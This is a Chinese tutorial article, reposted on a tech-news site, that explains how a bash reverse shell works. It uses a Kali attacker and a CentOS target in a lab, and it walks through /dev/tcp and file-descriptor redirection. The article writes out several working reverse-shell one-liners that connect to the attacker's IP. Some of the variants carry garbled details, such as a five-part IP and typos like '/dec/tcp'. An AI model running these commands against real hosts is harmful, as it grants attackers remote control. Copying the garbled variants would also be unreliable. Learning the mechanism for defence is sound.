返回顶部
首页 > 资讯 > 操作系统 >Linux之bash反弹shell原理是什么
  • 933
分享到

Linux之bash反弹shell原理是什么

2023-06-09 12:06:37 933人浏览 薄情痞子
摘要

这篇文章将为大家详细讲解有关linux之bash反弹shell原理是什么,小编觉得挺实用的,因此分享给大家做个参考,希望大家阅读完这篇文章后可以有所收获。什么是Linux系统Linux是一种免费使用和自由传播的类UNIX操作系统,是一个基于

这篇文章将为大家详细讲解有关linux之bash反弹shell原理是什么,小编觉得挺实用的,因此分享给大家做个参考,希望大家阅读完这篇文章后可以有所收获。

什么是Linux系统

Linux是一种免费使用和自由传播的类UNIX操作系统,是一个基于POSIX的多用户、多任务、支持多线程和多CPU的操作系统,使用Linux能运行主要的Unix工具软件、应用程序和网络协议。

环境

攻击机:kali            ip:192.168.25.144

靶    机:centos      ip:192.168.25.142

过程

kali 监听本地8888端口

Linux之bash反弹shell原理是什么

靶机 Centos 写入 反弹shell 的命令

bash -i >& /dev/tcp/192.168.25.144/8888 0>&1

Linux之bash反弹shell原理是什么

攻击机 kali 成功反弹shell

Linux之bash反弹shell原理是什么

原理

反弹shell往往是在攻击者无法直接连接受害者的情况下进行的操作,原因有很多,例如目标是局域网,或者开启防火墙的某些策略等情况,而这时,我们就可以让受害者主动向攻击者发起连接,被控端发起请求到控制端某端口,并将其命令行的输入输出转到控制端,从而实现交互

我们将命令拆开

bash -i
/dev/tcp/192.168.25.144/8888
 >&  0>&1

bash

Linux中一般默认的shell是bash,它功能几乎可以涵盖shell所具有的功能,所以一般的shell脚本都会指定它为执行路径

常用的shell有  ash、bash、dash、ksh、csh、zsh 等,不同的shell都有自己的特点以及用途

查询当前shell命令    ls -l /bin/sh

Linux之bash反弹shell原理是什么

Linux之bash反弹shell原理是什么

bash -i  打开一个交互式的bash            shell 如果有 -i 参数,就是交互式的

交互的意思就是可以和用户进行交互,输入命令,回显给用户就是一个交互的过程,而执行一个shell脚本就是非交互的

使用命令  echo $-  可以查看是否是交互式shell

Linux之bash反弹shell原理是什么     

有参数  i ,是交互式的

执行一个shell脚本

Linux之bash反弹shell原理是什么 

无参数 i ,非交互式

/dev目录

dev是设备(device)的英文缩写。这里主要存放与设备(包括外设)有关的文件,Linux一切皆文件

 /dev/tcp/是Linux中的一个特殊设备,打开这个文件就相当于发出了一个Socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。同理,Linux中还存在/dev/udp/

/dev/tcp/192.168.25.144/8888

所以上述命令就是和192.168.25.144:8888建立TCP连接

文件描述符

Linux 系统中,把一切都看做是文件,当进程打开现有文件或创建新文件时,内核向进程返回一个文件描述符,文件描述符就是内核为了高效管理已被打开的文件所创建的索引,用来指向被打开的文件。

所有执行I/O操作的系统调用都会通过文件描述符,即文件描述符可控制输入输出(输入/输出重定向)

标准输入(stdin):           代码为  0     使用 < 或 <<          默认设备键盘

标准输出(stdout):         代码为  1     使用 > 或 >>          默认设备显示器

标准错误输出(stderr):  代码为   2    使用 2> 或 2>>      默认设备显示器

 ---    +--------+( 0 ) ---->|dev/tty0|  当开启一个终端时 默认的文件描述符 指向 /dev/tty0(虚拟终端) ---    +--------+               ---    +--------+ ( 1 ) ---->|dev/tty0|  ---    +--------+              ---    +--------+ ( 2 ) ---->|dev/tty0|  ---    +--------+

大多数Linux 系统命令从你的终端接受输入并将所产生的输出发送回到您的终端。一个命令通常从一个叫标准输入的地方读取输入,默认情况下,这恰好是你的终端。同样,一个命令通常将其输出写入到标准输出,默认情况下,这也是你的终端

Linux之bash反弹shell原理是什么

Shell 输入/输出重定向

我们让上图  输出重定向

使用    1>    将输出结果写入到 指定文件中    文件不存在则创建文件,文件如果存在会覆盖原文件内容

省略不写则默认就是 1       同理,输入重定向  0<   省略不写则默认就是 0

Linux之bash反弹shell原理是什么

Linux之bash反弹shell原理是什么

使用  >>   会追内容在文件末尾

Linux之bash反弹shell原理是什么

结合上面建立的TCP连接

Linux之bash反弹shell原理是什么

Linux之bash反弹shell原理是什么

kali攻击机收到

Linux之bash反弹shell原理是什么

结合bash -i

Linux之bash反弹shell原理是什么

Linux之bash反弹shell原理是什么

在kali得到命令执行结果的回显

Linux之bash反弹shell原理是什么

此时我们输入name,可以看到,标准输出错误并未被重定向

Linux之bash反弹shell原理是什么

 ---    +--------+( 0 ) ---->|dev/tty0| ---    +--------+              ---    +--------+      +------------------+( 1 ) ---->|dev/tty0|  ---->  |/dev/tcp/host/port| ---    +--------+      +------------------+            ---    +--------+ ( 2 ) ---->|dev/tty0|  ---    +--------+

输入重定向

Linux之bash反弹shell原理是什么

Linux之bash反弹shell原理是什么

在kali攻击机,输入

Linux之bash反弹shell原理是什么

靶机得到输入指令,标准输出(默认终端)

Linux之bash反弹shell原理是什么

 ---    +--------+( 0 ) ---->|dev/tty0| ---    +--------+              ---    +--------+      +------------------+( 1 ) ---->|dev/tty0|  ---->  |/dev/tcp/host/port| ---    +--------+      +------------------+            ---    +--------+ ( 2 ) ---->|dev/tty0|  ---    +--------+

!!!!!!!!!!!!!!!

此时,我们只需要将

bash i  > /dec/tcp/192.168.25.144/8888  和   bash i  <  /dec/tcp/192.168.25.144/8888  结合

实现在攻击机 kali 输入 命令,在kali 机 得到命令回显,实现了反弹shell

即 使用下面的命令

bash -i > /dev/tcp/192.168.25.144/8888 0>&1

效果     kali   ip:192.168.25.140 

Linux之bash反弹shell原理是什么

Linux之bash反弹shell原理是什么

此时靶机会输出在攻击机所输入的命令,还有一个问题,标准错误输出 并没有重定向

Linux之bash反弹shell原理是什么

Linux之bash反弹shell原理是什么

补充:

bash 在执行一条指令的时候,首先会检查命令中存不存在重定向的符号,如果存在那么首先将文件描述符重定向,存在多个则从左往右依次执行

标准输出与标准错误输出重定向

此时反弹shell语句里边用到了  >&    操作符,>&  操作符在不同情况下有不通的含义

在   >&word  语法中,当word是数字或  字符时,操作符  >&   表示复制 文件描述符 

    而文件描述符的复制格式有     num1<&num2  和 num1>&num2 

    这里两个都是将文件描述符 num1 复制到 num2 ,两者的区别是,前者是以只读的形式打开,后者是以写的形式打开

    因此 num1<&num2  和 num1>&num2 是等价的(读/写方式打开对其没有任何影响)

    所以上述命令可以修改为     bash -i > /dev/tcp/192.168.25.144/8888 0<&1

   所以    0>&1  或者   0<&1

   是对文件描述符的拷贝,是将0[标准输入]重定向到了1[标准输出]指向的位置

   此时1[标准输出]指向的是socket连接文件(第一个  >   )

   重定向完成后,0[标准输入]也指向了socket连接文件,所以我推测因为拷贝,所以原标准输出回显到靶机上(kali上敲的命  令)

 ---    +--------+( 0 ) ---->|dev/tty0|\ ---    +--------+ \            \ ---    +--------+  ---->  +------------------+( 1 ) ---->|dev/tty0|  ---->  |/dev/tcp/host/port| ---    +--------+      +------------------+            ---    +--------+ ( 2 ) ---->|dev/tty0|  ---    +--------+

此时标准错误输出 依然未曾改变

在   >&word  语法中,当Word不是数字或  -  字符时    >&  表示将 标准错误输出合并到标准输出中

     此时与操作符   &> 功能一样     >&word 等价于 &> word       都相当于        > word  2>&1 

    当执行 bash -i  > /dev/tcp/192.168.25.140/9999 0>&1   命令时,效果如下 标准输出错误并未被重定向

Linux之bash反弹shell原理是什么 

    所以我们执行命令   bash -i  > /dev/tcp/192.168.25.140/9999 0>&1 2>&1   或

    bash -i  >& /dev/tcp/192.168.25.140/9999 0>&1       均形成了一个闭合的回路  ,同样,命令回显到攻击机上

Linux之bash反弹shell原理是什么   

  实现以下效果形成闭合,即可反弹shell ,而其他一些反弹命令,只要可以形成如下效果即可

 ---    +--------+( 0 ) ---->|dev/tty0|\ ---    +--------+ \            \ ---    +--------+  ---->  +------------------+( 1 ) ---->|dev/tty0|  ---->  |/dev/tcp/host/port| ---    +--------+  ---->  +------------------+           / ---    +--------+ /( 2 ) ---->|dev/tty0| /  ---    +--------+
bash -i >& /dev/tcp/192.168.146.25.144/8888 <&1
bash -i >& /dev/tcp/192.168.146.25.144/8888 <&2
bash -i >& /dev/tcp/192.168.146.25.144/8888 0<&1
bash -i >& /dev/tcp/192.168.146.25.144/8888 0<&2
bash -i >& /dev/tcp/192.168.146.25.144/8888 0>&1
bash -i >& /dev/tcp/192.168.146.25.144/8888 0>&2
bash -i > /dev/tcp/192.168.25.144/8888 0>&1 2>&1

关于“Linux之bash反弹shell原理是什么”这篇文章就分享到这里了,希望以上内容可以对大家有一定的帮助,使各位可以学到更多知识,如果觉得文章不错,请把它分享出去让更多的人看到。

--结束END--

本文标题: Linux之bash反弹shell原理是什么

本文链接: https://lsjlt.com/news/255911.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

猜你喜欢
  • Linux之bash反弹shell原理是什么
    这篇文章将为大家详细讲解有关Linux之bash反弹shell原理是什么,小编觉得挺实用的,因此分享给大家做个参考,希望大家阅读完这篇文章后可以有所收获。什么是Linux系统Linux是一种免费使用和自由传播的类UNIX操作系统,是一个基于...
    99+
    2023-06-09
  • 浅析Linux之bash反弹shell原理
    环境 攻击机:kali            ip:192.168.25.144 靶    机:centos    ...
    99+
    2022-06-03
    Linux bash反弹shell Linux 反弹shell
  • linux中反弹shell的原理是什么
    这期内容当中小编将会给大家带来有关linux中反弹shell的原理是什么,文章内容丰富且以专业的角度为大家分析和叙述,阅读完这篇文章希望大家可以有所收获。什么是Linux系统Linux是一种免费使用和自由传播的类UNIX操作系统,是一个基于...
    99+
    2023-06-09
  • linux反弹shell的原理详解
    完整命令 反弹shell命令: bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 bash -i > /dev/tFuWHREZxoFcp/ip/port...
    99+
    2022-06-04
    linux反弹shell
  • Linux下内网反弹的方法是什么
    这篇文章主要介绍“Linux下内网反弹的方法是什么”的相关知识,小编通过实际案例向大家展示操作过程,操作方法简单快捷,实用性强,希望这篇“Linux下内网反弹的方法是什么”文章能帮助大家解决问题。反弹技巧总结:1、NC反弹Nc 1...
    99+
    2023-06-27
  • java中反射原理是什么
    这篇文章主要介绍了java中反射原理是什么,具有一定借鉴价值,感兴趣的朋友可以参考下,希望大家阅读完这篇文章之后大有收获,下面让小编带着大家一起了解一下。Java的优点是什么1. 简单,只需理解基本的概念,就可以编写适合于各种情况的应用程序...
    99+
    2023-06-14
  • java反射机制原理是什么
    Java反射机制是指在运行时动态获取类的信息并操作类的属性和方法的能力。它允许程序在运行时通过类的全限定名来获取类的实例,调用类的构...
    99+
    2023-08-30
    java
  • C#中的反射原理是什么
    在C#中,反射是指在运行时动态地获取和操作程序的信息的能力。反射使得程序可以在运行时动态地加载和使用类型,调用其方法、访问其属性和字...
    99+
    2023-08-09
    C#
  • golang反编译的原理是什么
    Golang是一种静态编译的语言,它的原理是将Go代码编译成机器码,然后直接运行。因此,在Golang中进行反编译并不是一个常见的操...
    99+
    2024-02-29
    golang
  • linux中bash是什么
    这篇文章将为大家详细讲解有关linux中bash是什么,小编觉得挺实用的,因此分享给大家做个参考,希望大家阅读完这篇文章后可以有所收获。只要能够操作应用程序的接口都能称为shell。狭义的shell指的是命令行方面的软件,包括bash。广义...
    99+
    2023-06-13
  • Linux shell的强大之处是什么
    这篇文章主要介绍了Linux shell的强大之处是什么的相关知识,内容详细易懂,操作简单快捷,具有一定借鉴价值,相信大家阅读完这篇Linux shell的强大之处是什么文章都会有所收获,下面我们一起来看看吧。处理常见功能的最佳 Linux...
    99+
    2023-06-27
  • 弹性云服务器原理是什么
    弹性云服务器是一种基于虚拟化技术的云服务器,它通过将计算资源分成多个虚拟池以供用户使用,从而提高云服务器的可扩展性和可用性。以下是一些弹性云服务器的原理: 资源动态分配:弹性云服务器可以根据需要动态地分配计算资源,从而使得每个用户都可以...
    99+
    2023-10-26
    弹性 原理 服务器
  • Java反射机制的原理是什么
    本篇文章给大家分享的是有关Java反射机制的原理是什么,小编觉得挺实用的,因此分享给大家学习,希望大家阅读完这篇文章后可以有所收获,话不多说,跟着小编一起来看看吧。最近和一位师兄交流了一下Java,真可谓是大有收获,让我好好的学习了一下ja...
    99+
    2023-06-17
  • log4j反序列化的原理是什么
    log4j反序列化的原理是利用Java的反序列化机制,通过恶意构造的序列化数据,触发目标系统中的反序列化操作,从而导致可控的代码执行...
    99+
    2023-08-15
    log4j
  • Linux权限原理是什么
    这篇文章主要介绍“Linux权限原理是什么”,在日常操作中,相信很多人在Linux权限原理是什么问题上存在疑惑,小编查阅了各式资料,整理出简单好用的操作方法,希望对大家解答”Linux权限原理是什么”的疑惑有所帮助!接下来,请跟着小编一起来...
    99+
    2023-06-28
  • java中反射机制的原理是什么
    这期内容当中小编将会给大家带来有关java中反射机制的原理是什么,文章内容丰富且以专业的角度为大家分析和叙述,阅读完这篇文章希望大家可以有所收获。Java的特点有哪些Java的特点有哪些1.Java语言作为静态面向对象编程语言的代表,实现了...
    99+
    2023-06-14
  • ASP shell和Linux之间的联系是什么?
    ASP shell和Linux都是计算机领域中常见的技术,它们都有着重要的作用。那么,ASP shell和Linux之间有什么联系呢?本文将深入探讨这个问题。 ASP shell是一种基于ASP技术的脚本程序,它可以在Web服务器上执行操...
    99+
    2023-09-25
    shell http linux
  • MySQL InnoDB之MVCC原理是什么
    今天小编给大家分享一下MySQL InnoDB之MVCC原理是什么的相关知识点,内容详细,逻辑清晰,相信大部分人都还太了解这方面的知识,所以分享这篇文章给大家参考一下,希望大家阅读完这篇文章后有所收获,下面...
    99+
    2024-04-02
  • 弹性云服务器原理是什么样的
    弹性云服务器是一种虚拟服务器技术,它通过在不同的物理服务器之间创建虚拟网格来支持云资源的动态分配和管理。弹性云服务器可以通过云服务平台(例如AWS EC2)来实现,它们通常由多个不同的服务器组成,每个服务器都具有独立的CPU、存储和I/O资...
    99+
    2023-10-26
    弹性 原理 服务器
  • 弹性云服务器原理是什么意思
    弹性云服务器是一种云服务器技术,它能够通过网络将数据分布在多个计算资源上,并根据不同的应用程序负载自动调整它们的使用情况和性能,从而最大程度地提高云服务器的弹性和可用性。 具体来说,弹性云服务器的原理可以包括以下几个方面: 分布式架构:...
    99+
    2023-10-26
    弹性 原理 服务器
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作